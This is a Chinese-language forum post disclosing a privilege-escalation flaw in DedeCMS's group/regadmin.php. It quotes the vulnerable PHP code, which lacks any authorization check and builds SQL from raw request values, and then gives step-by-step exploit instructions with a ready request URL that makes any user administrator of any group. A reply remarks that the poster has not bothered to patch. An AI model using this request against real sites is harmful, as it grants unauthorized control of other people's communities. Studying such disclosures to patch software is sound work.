打印

[资料] dedecms漏洞—设置任意圈子管理员

dedecms漏洞—设置任意圈子管理员

文章作者:落叶纷飞
漏洞存在于group/regadmin.php文件,以下是漏洞代码:


复制内容到剪贴板
代码:

..................................................................................
if(!isset($do)) $do = '';
if($do=="ok"&&isset($uid)){
    $master = explode(",",$rs['ismaster']);
    $row = $db->GetOne("SELECT username FROM #@__group_user WHERE uid='$uid' AND gid='$id'");
    if(in_array($row['username'],$master)){
        $db->Close();
        ShowMsg("错误,".$row['username']."已经是管理员!","group.php?id=$id");
        exit();
    }
    array_push($master,$row['username']);
    $master = array_filter($master);
    $ismaster = implode(",",$master);
    $db->ExecuteNoneQuery("UPDATE #@__groups SET ismaster='{$ismaster}' WHERE groupid='$id'");
    $db->Close();
    $msg = "已将 {$username},设为管理员!";
    ShowMsg("{$msg}","group.php?id=$id");
    exit();
}
..................................................................................


首先搜索圈子,然后找到圈子的ID和你自己的ID,如圈子的ID为1,你自己的UID为2,则提交以下测试语句:

http://127.0.0.1/dg/group/regadmin.php?id=1&do=ok&uid=2

你就是这个圈子的管理员了~~

TOP

我的dede都懒的去修复他了。

Processed in 0.028206 second(s), 5 queries, Gzip enabled